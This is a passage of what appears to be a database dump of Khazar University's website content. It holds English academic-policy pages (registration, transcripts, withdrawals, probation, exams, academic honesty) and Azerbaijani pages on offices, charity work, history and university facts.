programs are 19 credits per semester and 10 credits during the summer session.</p><p>Permission to register for more than the required number of credits will be granted only on approval by the Dean.</p><p>Students must register for classes before the semester starts.</p><p>However, with the permission of the Dean of the relevant School, students can register during the first week of classes.</p><p>Students not registered by the end of this period are subject to a fee (penalty) for late registration.</p><p>Inconvenience, illness and other personal reasons for registering late are not accepted as reasons for waiving the penalty.</p><p>The amount of penalty for registering during the second week of classes is equivalent of 50 AZN.</p><p>Registration ends after the second week of classes. No student will be allowed to register after those dates.</p><p>Graduate and undergraduate students must be registered for 12 or more credits to be classified as a full-time student.</p><p>A student who registers for less than 12 credits must receive official approval from the Dean.</p>'),(169,177,'en','Records and Transcripts','Records and Transcripts','<p>A permanent record, reflecting academic achievement, is maintained by the Dean’s Office for each student who registers at a Khazar University school.</p><p><a href=\"http://www.khazar.org/en/menus/875/telebe_qeydiyyat_ve_melumat_shobesi\">The Registration and Records Office</a> manages all the information needed for the continuing evaluation of the progress of a student, including grades earned.</p><p>Students may obtain transcripts of their academic records and grade lists from the Registration and Records Office.</p><p>Transcripts will be released only after all bills have been paid and on the signed request of the student concerned.</p><p>There is a fee in the amount of equivalent of 5 AZN for each copy of an official transcript.</p><p>Payment must accompany the request. The University will not issue a transcript that reflects only a part of the student\'s record.</p>'),(170,178,'en','Withdrawals','Withdrawals','<p>Students may withdraw from a course during the first two weeks of classes.&nbsp;After that, a course withdrawal will be permitted only with the approval of the Dean of the School.&nbsp;When a student withdraws from a course after the first five weeks of a semester, the dropped course will appear on the academic record as a “<em>W</em>” in place of a grade, and the student will be charged for the entire course.</p><p>A student may also be withdrawn from the course administratively as a result of his/her failure to keep such requirements as attendance, participation, and others.&nbsp;The University may place a student on involuntary leave for a specific period (e.g., for a term or a year) for serious violation of the University Regulations and other codes.</p><p>To withdraw from the University, students should complete an official withdrawal form, available at the <strong><a href=\"http://www.khazar.org/en/menus/1246/qebul_ve_telebe_shobesi\">Registration and Records Office</a></strong>, and submit it to the Dean\'s Office.&nbsp;</p><p>The information shown on the form is considered for Khazar refund policies and procedures.</p>'),(171,179,'en','Academic Probation','Academic Probation','<p>Academic probation is an action usually taken only in the first two years of study in order to avoid unsatisfactory academic performance.</p><p>Undergraduate students whose cumulative G.P.A. is 68 or less are subject to academic probation.</p><p>A student on probation is subject to restrictions regarding the course load for which he or she may register.</p><p>To remove probation status, the student must achieve a G.P.A. of 70 the following semester.</p><p>Students who do not remove probation status within two semesters are subject to dismissal.</p>'),(172,180,'en','Attendance and Absence','Attendance and Absence','<p>Full-time students are expected to attend all elements of their courses unless they are sick or have the permission of their School Dean.</p><p>In general, to be eligible for taking exams, students should not miss more than 20% of class hours.</p><p>Otherwise, the student can take the exam only with the approval of the Dean of the relevant School.</p><p>Continuing and unexcused absences or lack of participation may lead to withdrawal from the course.</p><p>The student whose behavior is disruptive either to the instructor or other students will be asked to leave.</p>'),(173,181,'en','Theses and Dissertations','Theses and Dissertations','<p>In addition to detailing well-established rules and procedures for advanced degree programs, the&nbsp;<strong>Committee of Graduate Studies</strong>&nbsp;(CGS) defines the general policy and specific requirements of Graduate Studies, (i.e., Master, PhD and some professional degree programs).</p><p>CGS consists of specialists, related major representatives, and graduate students elected or appointed by the Graduate Student Council.</p><p>A graduate degree candidate, together with his/her supervisor(s), must submit a&nbsp;<strong>plan of study</strong>&nbsp;to CGS.</p><p>This plan has to be approved by CGS and signed by the candidate and his/her supervisor and should consist of:</p><ul><li>a list of required and elective course and their credits</li><li>a title and brief summary of the proposed research work (thesis, dissertation, or research project)</li></ul><p>Depending on the graduate program and the candidate’s academic background, a different proportion of courses to independent learning and research work is possible.</p><p>There are at least three types of Master’s degree studies involving research that is to be carried out by the candidate according to his/her plan of study.</p><p>These include the following:</p><ul><li>a master thesis</li><li>a report or specific project</li><li>only the required and elective courses along with their papers or practical work without any separate research work</li></ul><p>A Master’s thesis is worth some number of credits (usually between 6 and 8), and reports and projects are also worth a number of credits, but fewer than the thesis</p><p>Masters programs exist to prepare the student for advanced work in industry and in various institutions, as well as for further graduate studies (usually for PhD programs).</p><p>PhD programs are designed to prepare the student for advanced research.</p><p>The PhD degree is awarded in recognition of the creation of new knowledge and an increased depth of research.</p><p>The plan of study of the candidate for PhD degree must include some information about the proposed research field and subject of the dissertation, as well as information on the completion of a definite group of advanced courses of study.</p><p>The PhD dissertation is usually worth 10-12 credits but in some exceptional cases the number of credits for a PhD dissertation may by increased.</p><p>For each Master thesis and PhD dissertation, CGS will develop a&nbsp;<strong>Thesis Committee&nbsp;</strong>(for master and professional degree, if they anticipate some final research work) or a&nbsp;<strong>Dissertation Committee</strong>&nbsp;(for PhD degree) which normally consists of four (five) members including the supervisor and outside experts.</p><p>The candidate for graduate degree and/or his/her supervisor and/or Dissertation (Thesis) Committee may ask for a modification to the plan of study (e.g., addition of one or more courses, change the title of dissertation or thesis, etc.)</p><p>Any change in the plan of study must be resubmitted to CGS at least two weeks before the degree commencement.</p><p>Every doctoral candidate and masters candidate with strong research work must pass a final oral defense of his/her dissertation (thesis) and demonstrate wide knowledge of the major field and the role and significance of the dissertation (thesis) with relation to the field.</p><p>The Dissertation (Thesis) Committee is the examination body for the final oral examination.</p><p>Before submitting the final version of his/her dissertation (thesis) to CGS, the candidate must obtain the approval of his/her supervisor and of some members of the Dissertation (Thesis) Committee.</p>'),(174,182,'en','Examinations','Examinations','<p>Final examinations will be held at the end of each term in all courses.</p><p>These will be consistent with the approved schedule of examinations.</p><p>Changes for individual emergencies of a serious nature will be made only through written request by the student to the Dean of the School.</p><p>A student who is absent from an examination without an excuse may be given a grade of “F” for the course.</p><p>An incomplete (“IC”) will be given in the case of a student’s absence from the final examination if the student has presented a satisfactory reason to the instructor that is approved by the Dean of the relevant School.</p><p>Students with grades of 57, 58 or 59 in a course also receive a mark of IC.</p><p>Students who are absent from intermediate tests and quizzes with a reason that is acceptable to the instructor and the Dean’s Office will be given a substitute test.</p><p>Re-examination for the purpose of removing a failure is permitted only in the case of graduating seniors who are in their last term before their scheduled commencement and who are passing the course at the time the final examination is given.</p><p>In this case only one (in exceptional cases, two) course re-examinations are permissible.</p><p><strong>Credit by examination&nbsp;</strong>– Students currently enrolled or formerly enrolled in the university may obtain credit by examination in a course in which they have had no class attendance provided that the course has been determined by the offering department or school to be an appropriate class for credit without attendance.</p><p>Permission to take the examination must be obtained in advance from the Dean of the School.</p><p>The applicant must pay the fee to the university in prior to taking the examination.</p><p>This fee is not refundable. The instructor administers and reports the results of the examination to the Registration and Records Office within one week of the date of approval by the Dean.</p><p>Credits earned under this regulation are recorded with the grade achieved on the examination.</p><p>For detailed information on examination and evaluation, please see Khazar University “<em>Examination and Evaluation Guidelines</em>” or Khazar Student’s Handbook.</p>'),(175,183,'en','Academic Honesty','Academic Honesty','<p>Students’ rights are accompanied by certain duties and responsibilities that must be respected by them.</p><p>Academic honesty plays an essential part in maintaining the integrity of the University.</p><p>Students are expected to recognize and uphold high standards of intellectual and academic integrity.</p><p>As a basic standard of conduct in academic matters, Khazar University assumes that students submit for credit only the products of their own efforts. All dishonest work is rejected.</p><p>The ideal is that students refrain from any form of dishonorable conduct in the course of their academic work.</p><p>No communication is permitted between students during examinations.</p><p>For violation of the examination rules or dishonesty in an examination, the student will be subject to disciplinary action.</p><p>Any of the following kinds of infringement is strictly forbidden and will, if proven, be penalized:&nbsp;plagiarism, cheating, unauthorized collaboration, falsification, and multiple submissions.</p><p>Following the standards of academic conduct, rights and responsibilities are essential for all the members of the Khazar academic community, including faculty.</p><p>Being strict, objective, and honest during the examinations is one of the most important faculty responsibilities.</p><p>Given difficulties related to the transition from Communism and from a centralized economic system to a democratic society and free market economy, the Khazar community is always sensitive with regards to academic honesty.</p><p>The University policy is to retain ownership and any rights to discoveries, innovations, and inventions, including computer software made by students, faculty, and staff with the use of University facilities.</p>'),(176,184,'en','Dunya School','Dunya School','<strong><h3><a href=\"http://www.dunyaschool.az/\">Dunya school</a></h3></strong>'),(177,1,'az','HAQQIMIZDA','HAQQIMIZDA',''),(178,2,'az','AKADEMİK FƏALİYYƏT','AKADEMİK FƏALİYYƏT',''),(179,3,'az','QƏBUL','QƏBUL',''),(180,4,'az','TƏDQİQAT','TƏDQİQAT',''),(181,5,'az','Xəzərə qısa nəzər','Xəzərə qısa nəzər',''),(182,12,'az','Xəzərlilər','Xəzərlilər',''),(183,7,'az','Xəzər Media','Xəzər Media',''),(184,9,'az','Ofislər və xidmətlər','Ofislər və xidmətlər','<address><h3><strong><strong><a href=\"http://www.khazar.org/az/menus/781/_rektorluq\" style=\"font-style:normal\">Rektorluq</a></strong></strong></h3><div><strong style=\"font-style:normal\"><br></strong></div><h3><strong style=\"font-style:normal\"><strong><a href=\"http://www.khazar.org/az/menus/782/prorektorlarin_ofisi\">Prorektorların ofisi:</a></strong></strong></h3><br><ul><li><a href=\"http://www.khazar.org/az/menus/782/prorektorlarin_ofisi\" style=\"font-style:normal\">Akademik işlər</a></li><li><a href=\"http://www.khazar.org/az/menus/782/prorektorlarin_ofisi\" style=\"font-style:normal\">İdarəetmə və tələbə işləri</a></li><li><span style=\"font-style:normal\"><a href=\"http://www.khazar.org/az/menus/782/prorektorlarin_ofisi\">Elmi işlər</a></span></li></ul><br><h3><br></h3><h3><strong style=\"font-style:normal\"><a href=\"http://www.khazar.org/az/menus/785/dekanliqlar\">Dekanlıqlar:</a></strong><span style=\"font-style:normal\"></span></h3><br><ul><li><a href=\"http://www.khazar.org/az/menus/47/muhendislik_ve_tetbiqi_elmler_fakultesi\" style=\"font-style:normal\">Mühəndislik və tətbiqi elmlər fakültəsi</a></li><li><a href=\"http://www.khazar.org/az/menus/54/iqtisadiyyat_ve_menecment_fakultesi\" style=\"font-style:normal\">İqtisadiyyat və menecment fakültəsi</a></li><li><a href=\"http://www.khazar.org/az/menus/56/humanitar_ve_sosial_elmler_fakultesi\" style=\"font-style:normal\">Humanitar və sosial elmlər fakültəsi</a></li><li><a href=\"http://www.khazar.org/az/menus/55/tehsil_fakultesi\" style=\"font-style:normal\">Təhsil fakültəsi</a></li></ul><br><br><br><h3><span style=\"font-style:normal\"><strong>Akademik&nbsp; ofislər:</strong></span></h3><ul><li><a href=\"http://www.khazar.org/az/menus/17/magistratura_doktorantura_ve_elmi_ishler_shobesi\" style=\"font-style:normal\">Magistratura,&nbsp;Doktorantura və Elmi-tədqiqat işləri bölməsi</a></li><li><a href=\"http://www.khazar.org/az/menus/19/akademik_departamentler\" style=\"font-style:normal\">Akademik departamentlər</a></li><li><a href=\"http://www.khazar.org/az/menus/18/institut_ve_merkezler\" style=\"font-style:normal\">İnstitut&nbsp;və mərkəzlər</a></li></ul><p><strong style=\"font-style:normal\"><br></strong></p><h3><strong style=\"font-style:normal\">İnzibati ofislər:&nbsp;</strong></h3><ul><li><span style=\"font-style:normal\"><a href=\"http://www.khazar.org/az/menus/870/insan_resurslari\">İnsan resursları&nbsp;mərkəzi</a></span></li><li><a href=\"http://www.khazar.org/az/menus/882/ictimaiyyetle_elaqeler_ve_media_shobesi\" style=\"font-style:normal\">İctimaiyyətlə əlaqələr və media şöbəsi</a></li><li><span style=\"font-style:normal\">Qeydiyy</span><span style=\"font-style:normal\">at və inf</span><span style=\"font-style:normal\">ormasiya şöbəsi</span></li><li><span style=\"font-style:normal\">Tələbə qəbul və məlumat şöbəsi</span></li><li><a href=\"http://www.khazar.org/az/menus/886/kadrlar_shobesi\" style=\"font-style:normal\">Kadrlar şöbəsi</a></li><li><a href=\"http://www.khazar.org/az/menus/887/maliyye_shobesi\" style=\"font-style:normal\">Maliyyə şöbəsi</a></li><li><a href=\"http://www.khazar.org/az/menus/888/muhasibatliq\" style=\"font-style:normal\">Mühasibatlıq</a></li><li><span style=\"font-style:normal\">İnformasiya texnologiyaları şöbəsi</span></li><li><span style=\"font-style:normal\">İnformasiya sistemləri şöbəsi</span></li><li><span style=\"font-style:normal\">Satınalma şöbəsi</span></li><li><span style=\"font-style:normal\">Təmir-tikinti şöbəsi</span></li><li><span style=\"font-style:normal\">Təsərrüfat </span><span style=\"font-style:normal\">şö</span><span style=\"font-style:normal\">bəsi</span></li><li><a href=\"http://www.khazar.org/az/menus/70/xezer_universitetinin_neshriyyati\" style=\"font-style:normal\">Nəşriyyat</a></li><li><a href=\"http://www.khazar.org/az/menus/889/metbee\" style=\"font-style:normal\">Mətbəə</a></li><li><a href=\"http://www.khazar.org/az/menus/89/inkishaf_merkezi\" style=\"font-style:normal\">İnkişaf mərkəzi</a></li><li><a href=\"http://www.khazar.org/az/menus/890/_institusional_arashdirmalar\" style=\"font-style:normal\">İnstitusional araşdırmalar mərkəzi</a></li><li><a href=\"http://www.khazar.org/az/menus/99/kitabxana_informasiya_merkezi\" style=\"font-style:normal\">Kitabxana-informasiya mərkəzi</a></li><li><a href=\"http://www.khazar.org/az/menus/103/peshe_inkishaf_merkezi\" style=\"font-style:normal\">Peşə inkişaf&nbsp;mərkəzi</a></li><li><span style=\"font-style:normal\"><a href=\"http://www.khazar.org/az/menus/100/multimedia_merkezi\">Multimedia&nbsp;mərkəzi</a></span></li><li><a href=\"http://www.khazar.org/az/menus/424/internet_tehsil_merkezi\" style=\"font-style:normal\">İnternet təhsil mərkəzi</a></li><li><a href=\"http://www.khazar.org/az/menus/894/tibbi_yardim_merkezi\" style=\"font-style:normal\">Tibbi yardım mərkəzi</a></li><li><a href=\"http://www.khazar.org/az/menus/101/xezer_psixoloji_xidmet_merkezi\" style=\"font-style:normal\">Xəzər Psixoloji Xidmət Mərkəzi</a></li><li><a href=\"http://www.khazar.org/az/menus/897/yemekhana\" style=\"font-style:normal\">Yeməkxana</a></li><li><span style=\"font-style:normal\"><a href=\"http://www.dunyaschool.az/\">Dünya məktəbi</a></span></li></ul></address>'),(185,6,'az','Universitet həyatı','Universitet həyatı',''),(186,10,'az','İctimai və xeyriyyə layihələri','İctimai və xeyriyyə layihələri','<p><strong>3N-li Günəş uşaq evi ilə dostluq</strong></p><p>O dostluq ki, 20 ildə artıqdır ki, bizi birləşdirir. Biz onların ehtiyaclarını bilərək imkanımız daxilində əlimizdən gələni edirik.</p><ul><li>Əlaqələrimizin qurulduğu illər ərzində Universitet 8 uşağa himayəçilik edərək onlara bakalavr və magistr səviyyələrində ali təhsil vermişdir.</li><li>İnstituta hazırlıq ərəfəsində Xəzər Universitetinin tələbələri ali məktəblərə qabul olmaq istəyənlərə Riyaziyyat, Tarix və ingilis dili kimi fənnlərdən yaxından köməklik göstərmişlər.</li><li>Bu 20 il ərzində Xəzər Univeristeti 14 subay gəncin ailə həyatı qurmağına görə hər cür imkan yaratmışdır. Onlara rahat yaşayışları üçün lazım olan əşyalar, mübellər alınaraq hədiyyə edilmiş, təmtəraqlı toylar təşkil olunmuş və bu məclislərdə universitet tələbə və əməkdaşları fəal iştirak etmişlər.</li><li>Uşaq evində xalçaçılıq sənətinin öyrənilməsi üçün Universitet tərəfindən xana hədiyyə edilmişdir.</li><li>Bu illər ərzində Günəş uşaq evinin kitabxanası kitablarla zənginləşdirilmiş, əyləncə xarakterli komputer aparatları, uşaqların marağına səbəb olan müxtəlif filmlər və oyunlarla təmin edilmişdir.</li><li>Biz bütün bayramlarımızı onlarla qeyd etmək üçün ciddi hazırlaşırıq. Xüsusən Yeni il və Novruz bayramlarını onlarla birlikdə keçirməyimiz bu balaca balaların xoşbəxtliyinə səbəb olur. Yeni ildə tələbələrdən seçilmiş Şaxta Baba, Qar qız və klounlar çoxlu hədiyyələrlə uşaqların üzünü güldürür. Tələbələrimiz tərəfindən milli bayramımız olan Novruzda adət-ənənəmizə uyğun olan şəkərbura, paxlava, qoğal, badambura, boyanmış yumurtalarla bəzədilmiş xonçalar isə bu körpələrə xüsusi sevinc bəxş edir. Bu bayramlarda tələbələrlə körpələrin sevgisi birləşərək böyük və doğma bir ailə tablosuna çevrilir. Bizim uşaq evi Günəş adlanır və biz həmişə çalışırıq ki, bu körpələrin günəşli günləri çox olsun.</li></ul><br><p><strong>Qocalar Evi</strong></p><p>Xəzər Universiteti 10 ildən artıqdır ki, Qocalar evi ilə yaxın təmasdadır. Qurban, Novruz və Pasxa bayramlarında tələbələrimizin onları ziyarət etməsi nənə və babalarımızın ürəklərinin gülməsinə səbəb olur. Onların ziyarətinə hədiyyələrlə, konsert proqramı və böyük sevgi ilə getməyimizi səbirsizliklə gözləyirlər. Dövlətimiz onalrın rahatlığı hər cür şərait yaradır. Hər bir otaqda televizor, xalça, lazım olan əşyalar vardır. Ən əsası isə onların sağlamlığı üçün normal qidalanma təmin edilir. Lakin gözləri yolda olan nənə və babalarımızın nəvazişə ehtiyacı daha çoxdur. Onların sevgi ilə dolu olan qucağa, mehriban sözlərə ehtiyacları daha çoxdur və biz çalışırıq ki, onların gözlədikləri bu nəvazişi böyük istəklə onlara bəxş edək.</p><div>&nbsp;</div><p><strong>Tələbələrimiz müharibə veteranlarını da unutmur&nbsp;</strong></p><p>Müharibə veteranları bayramlarda ən çox arzuolunan qonaqlarımızdandır. 9 may qələbə gününü onlarla birlikdə qeyd edərək qonaqlarımıza hədiyyələr və çiçəklər təqdim edirik. Xüsusən 92 yaşlı Qalina Samulivnanı, 86 yaşlı Sara xanımı, 88 yaşlı İbrahim Məmmədoğlunu bizim tədbirlərdə tez-tez görmək olar. Lakin ən çox onları sevindirən təbələrimizin onlara qonaq getməsi, birlikdə çay dəstgahı ətrafında cavanlıq xatirələrindən böyük həvəslə danışaraq vaxt keçirməkləridir.&nbsp;</p><div>&nbsp;</div><p><strong>3 ildir ki, əlillər məktəbində təhsil alan uşaqlarla görüşürük...</strong></p><p>Onların arasında böyük istedada sahib olan Cümşüd, İsmayıl kimi uşaqlar çoxdur. Xüsusən İsmayılı qeyd etmək istəyirik. Universitetdə onun çəkdiyi rəsm əsərlərinin sərgisini keçirdərək toplanan 319 AZN gəlir İsmayıla verildi. Bəlkə də bu böyük məbləğ deyil... Amma bu gəlir onun əziyyətinin bəhrəsi, ona həyatda bundan sonra öz əməyi ilə nəyinsə qazanmağın mümkünlüyünü göstərən stimul idi. Uşaqların fiziki cəhətdən çatışmamazlıqları onların istədikləri, arzu etdikləri uşaqlıq həyatını keçirməklərinə mane olur. Bizim tələbələr bu uşaqları müxtəlif tamaşalara, konsertlərə apararaq, onlarla səmimi ünsiyyət qurur və bir növ həyatlarına rəng qatırlar.</p><div>&nbsp;</div><p><strong>Qan donorluğu</strong></p><p>Univeristetimizin tələbələri könüllü olaraq daimi ən fəal şəkildə və can-başla qan donarlığı kompaniyalarına qoşulurlar. Bununla bağlı aldığımız diplom və sertifikatlar &nbsp;bunu bir daha sübut edir.</p><div>&nbsp;</div><p><strong>Dünya məktəbinin xeyriyyə tədbirləri</strong></p><ul><li>Mərdəkan qəsəbəsi 3 saylı uşaq evinə &nbsp;dəfələrlə yardım edilib</li><li>Bilgəh qəsəbəsi müharibə və əmək əlillərinə yardım (qocalar evi)</li><li>Anadangəlmə iflic xəstəliyindən əziyyət çəkən 15 yaşlı Şabran rayon sakini Ağamalıyev Rəsul Şakir oğlunun 2 dəfə ayaq cərrahiyyə əməliyyatı reallaşdırılıb. Bundan əlavə ildə bir neçə dəfə Ağamalıyev Rəsulun reabilitasiya məqsədi ilə müalicəsi həyata keçirilir.</li><li>Yasamal rayonunda yerləşən imkansız ailələrdəki xəstə və əlillər üçün yardım edilib və s.&nbsp;&nbsp;</li></ul>'),(187,11,'az','İncəsənət, əyləncə və idman','İncəsənət, əyləncə və idman',''),(188,13,'az','Xəzərə dəstək','Xəzərə dəstək',''),(189,15,'az','Kataloq','Kataloq','<p><a href=\"http://www.khazar.org/files/demo/01Khazar%20in%20brief.pdf\">01Khazar in brief</a></p><p><a href=\"http://www.khazar.org/files/02Student%20Support.pdf\">02Student Support</a><a href=\"http://www.khazar.org/demo/02Student%20Support.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/03Academic%20policy%20and%20calendar.pdf\">03Academic policy and calendar</a><a href=\"http://www.khazar.org/demo/03Academic%20policy%20and%20calendar.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/04School%20of%20Engineering%20and%20Applied%20Science.pdf\">04School of Engineering and Applied Science</a><a href=\"http://www.khazar.org/demo/04School%20of%20Engineering%20and%20Applied%20Science.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/05School%20of%20Economics%20and%20Management.pdf\">05School of Economics and Management</a><a href=\"http://www.khazar.org/demo/05School%20of%20Economics%20and%20Management.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/06School%20of%20Humanities%20and%20Social%20Sciences.pdf\">06School of Humanities and Social Sciences</a><a href=\"http://www.khazar.org/demo/06School%20of%20Humanities%20and%20Social%20Sciences.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/07School%20of%20Education.pdf\">07School of Education</a></p><p><a href=\"http://www.khazar.org/files/pdf/NewFolder/08Dunya%20School.pdf\">08Dunya School</a></p><p><a href=\"http://www.khazar.org/files/09Institutes%20and%20Centers.pdf\">09Institutes and Centers</a><a href=\"http://www.khazar.org/demo/09Institutes%20and%20Centers.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/10Campus%20life.pdf\">10Campus life</a><a href=\"http://www.khazar.org/demo/10Campus%20life.pdf\"></a></p><p><a href=\"http://www.khazar.org/files/11Useful%20Information.pdf\">11Useful Information</a></p>'),(6018,3435,'az','Xəzər Universiteti haqqında film','Xəzər Universiteti haqqında film',''),(190,184,'az','Dünya məktəbi','Dünya məktəbi','<strong><h3><a href=\"http://www.dunyaschool.az/\">Dünya məktəbi</a></h3></strong>'),(191,45,'az','Tarixi','Tarixi','<p style=\"text-align:justify\">1990-ci il dekabrın 20-də yaradılması üçün hazırlıq işləri görülməsi haqqında Nazirlər Soveti 286 saylı sərəncam vermişdir.</p><p style=\"text-align:justify\">1991-ci il martın 18-də Nazirlər kabinetinin 41 saylı qərarı ilə ölkəmizdə müxtəlif sahələr üzrə yüksək ixisaslı və ingilisdilli kadrlara olan ehtiyacı ödəmək məqsədilə yaradılmışdır.</p><p style=\"text-align:justify\">10 aprel 1993-cü ildə Təhsil Nazirliyi yanında Dövlət Ali Ekspert Komissiyasının (DAEK) 9/1 saylı qərarı ilə özəl ali məktəb kimi qeydiyyatdan və ekspertizadan keçmişdir.</p><p style=\"text-align:justify\">4 mart 1995-ci ildə Azərbaycan Respublikası Nazirlər Kabineti yanında Dövlət Ali Ekspert Komissiyasının 45 saylı qərarı ilə yenidən qeydiyyatdan və ekspertizadan keçmişdir.</p><p style=\"text-align:justify\">2010-cu il sentyabrında Təhsil Nazirliyi tərəfindən lisenziyalaşdırma ilə əlaqədar araşdırma aparılmış və fevral ayının 15-də növbəti beş il üçün Xəzər universitetinə (070976 saylı) və ayrıca onun nəzdində olan Dünya məktəbinin fəaliyyətinə lisenziya (070977 saylı) verilmişdir.</p><p style=\"text-align:justify\">Təhsil Nazirliyinin akkreditasiya şurasının qərarına əsasən Nazirliyin 28 oktyabr 2011-ci il tarixli, 1726 nömrəli əmri ilə növbəti 5 il müddətinə akkreditə olunmuşdur.</p><h3><br></h3><h3><a href=\"http://www.khazar.org/files/pdf/Xezerin_sora%C4%9F%C4%B1nda.pdf\">Xəzərin sorağında<img src=\"http://www.khazar.org/files/image/xezerinsoraginda_H.Isaxanli.jpg\" style=\"border:0px #0000ee;float:left;width:150px;height:217px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a><br></h3><p><strong>Hamlet İsaxanlı</strong></p><p style=\"text-align:justify\">Xəzər Universitetinin yaradılması və inkişafı ilə bağlı gerçəklər xatirimdə silinməz izlər buraxmışdır. Hadisələri düşüncəmin süzgəcindən keçirərək olduğu kimi tam səmimiyyətlə oxuculara çatdırmaq iddiasındayam. Ümid edirəm ki, \"Xəzər\"in sorağında keçirdiyim günləri yenidən və sizinlə bərabər yaşayacağıq.</p><p style=\"text-align:justify\">ISBN10 9952-20-034-X ISBN13 978-9952-20-034-8&nbsp;</p>'),(192,46,'az','Təşkilati struktur','Təşkilati struktur','<a href=\"http://www.khazar.org/files/letters/organization%20chart.pdf\"><img src=\"/files/letters/organization-chart.jpg\" style=\"width:828px;height:1179px;vertical-align:baseline\"></a>'),(193,47,'az','Faktlar və statistika','Faktlar və statistika','<p style=\"text-align:justify\">Xəzər Universiteti Azərbaycanda fəaliyyətə başlayan ilk ingilisdilli ali məktəbdir.&nbsp;</p><p style=\"text-align:justify\">Xəzər Universiteti&nbsp;Azərbaycanın təhsil siyasətində qabaqcıl rol oynayan ilk tədqiqat yönümlü özəl ali məktəbdir.&nbsp;</p><p style=\"text-align:justify\">Xəzər Universiteti&nbsp;Azərbaycanda sənaye və iş dünyası ilə, aparıcı yerli və beynəlxalq şirkətlərlə geniş əlaqəsi olan ali məktəblərdən biridir.&nbsp;</p><p style=\"text-align:justify\">Xəzər Universitəsi Azərbaycanda yeganə universitədir ki, onun tədris siyasəti və diplomları Avropa və Amerikanın aparıcı universitələri tərəfindən tanınır.&nbsp;</p><p style=\"text-align:justify\">Xəzər Universiteti Azərbaycanda kredit sistemini tətbiq edən ilk ali məktəbdir.&nbsp;</p><p style=\"text-align:justify\">Xəzər Universitetində əsas təhsil dili ingilis dilidir. Bu, tələbələrin müasir dərsliklərdən istifadə etməsi, təhsillərini xaricdə davam etdirməsi, xaricdən gələn müəllimlərin effektli dərs deməsi və s. kimi işlərə geniş imkan verir.&nbsp;</p><p style=\"text-align:justify\">Xəzər Universitetində keyfiyyət həmişə əsas meyar olmuşdur. Universitetdə yaradılmış «Ali təhsildə keyfiyyətin təminatı mərkəzi» ölkəmizdə bu sahədə fəaliyyətə başlayan ilk qurumdur.&nbsp;</p><p style=\"text-align:justify\">Təhsildə keyfiyyəti və beynəlxalq standartları təmin etmək üçün Xəzər Universiteti beynəlxalq əlaqələrini daimi inkişaf etdirir, eləcə də &nbsp;ölkəmizdə fəaliyyət göstərən tanınmış yerli və xarici şirkətlərlə yaxından əməkdaşlıq edir.&nbsp;</p><p style=\"text-align:justify\">Xəzər Universitetində Mühəndislik, tətbiqi elmlər, iqtisadiyyat, biznes idarəçiliyi, humanitar və sosial elmlər, beynəlxalq münasibətlər, təhsil və s. sahələr üzrə kadr hazırlığı aparılır.&nbsp;</p><p style=\"text-align:justify\">Müxtəlif ixisaslar üzrə magistr proqramları, Fəlsəfə doktoru (Ph.D.) proqramları və Azərbaycanda ən nüfuzlu proqramlardan olan MBA proqramı universitetin təhsil sistemində mühüm yer tutur.&nbsp;</p><p style=\"text-align:justify\">Fəaliyyətdə оlduğu müddətdə Хəzər Universiteti öz оrijinal təhsil mоdeli ilə, tətbiq etdiyi tədris prоqramlarının müasirliyi, verdiyi təhsilin keyfiyyəti və ciddiliyi ilə həm Azərbaycanda, həm də Azərbaycandan kənarda hörmət və nüfuz qazanmışdır.&nbsp;</p><p style=\"text-align:justify\">Uni­versitetdə 2000-ə yaxın yerli və xarici tələbə təhsil alır.&nbsp;</p><p style=\"text-align:justify\">Professor-müəllim heyətinin təxminən 10 faizi universitetin öz məzunlarıdır.&nbsp;</p><p style=\"text-align:justify\">Xəzər universiteti xaricdən dəvət edilmiş mütəxəssislərin, eləcə də xaricə göndərilmiş müəllim və tələbələrin sayına görə Azərbaycanın və yaxın bölgənin ən qabaqcıl ali məktəbidir.&nbsp;</p><p style=\"text-align:justify\">Universitet nəzdində «Dünya» məktəbi, müxtəlif elmi mərkəzlər və tədqiqat institutları fəaliyyət göstərir.&nbsp;</p><p style=\"text-align:justify\">Universitetdə azərbaycanlılarla yanaşı ABŞ, bir sıra avropa ölkələri, eləcə də Çin, Koreya, Hindistan, Pakistan, İran, İraq, Türkiyə, Misir, Nigeriya, Anqola, bir sıra MDB ölkələri,&nbsp;və s. ölkələrdən əcnəbi tələbələr təhsil alır. Əcnəbi tələbələr təhsil alan tələbələrin təxminən 10-12 faizini təşkil edir.&nbsp;</p><p style=\"text-align:justify\">Universitetdə 200-dən çox professor-müəllim heyəti çalışır. Bunlar həm tanınmış yerli, həm də xaricdən dəvət olunmuş mütəxəssislərdir.&nbsp;</p><p style=\"text-align:justify\">Yerli mütəxəssislərin əksəriyyəti müxtəlif vaxtlarda müxtəlif proqramlar, qrantlar üzrə dünyanın müxtəlif ali məktəblərində təcrübə keçmiş, öz sahələrində söz və nüfuz sahibi olan ingilisdilli mütəxəssislərdir.&nbsp;</p><p style=\"text-align:justify\">Universitetdə yerli mütəxəssislərlə yanaşı, bir sıra xarici mütəxəssislər də çalışırlar. Hər semestr təxminən 10-20 xarici müəllim bütün semestr boyu Xəzərdə dərs deyir. Bununla yanaşı qısa müddətli dərs demək və elmi məruzələr etmək üçün tez-tez (ildə təqribən 80-100 nəfər) xaricdən mütəxəssislər dəvət olunur. Onlar tələbələrə 1 həftəlik, 2 həftəlik və 3 həftəlik intensiv dərslər verməklə kadr təminatını və tədris metodologiyasını gücləndirir. Onların rəhbərliyi ilə müəllimlər üçün treyninq kursları da təşkil edilir ki, bu da yerli müəllimlərin bilik, bacarıq və təcrübəsinin artırılmasına xidmət edir.&nbsp;</p>'),(194,48,'az','Simvollar','Simvollar','<p>Xəzər Universiteti Azərbaycanda fəaliyyətə başlayan ilk özəl ali məktəbdir. Universitetin öz loqosu, bayrağı, himni var, burada məzunluq tədbirləri xüsusi ənənə ilə keçirilir, məzunlar məzunluq andını söyləyərək and içirlər.</p><p>Universitetin himni ilə yanaşı, “Tələbə valsı”, “Dünya məktəbinin mahnısı” Universitetin tədbirlərində daimi səslənən musiqi nömrələridir.</p><p><strong><a href=\"http://www.khazar.org/az/menus/803/xezer_universitetinin_himni\">Universitetin himni</a></strong>nin sözlərini Universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının Sədri Hamlet İsaxanlı, musiqisini Azərbaycanın xalq artistləri, 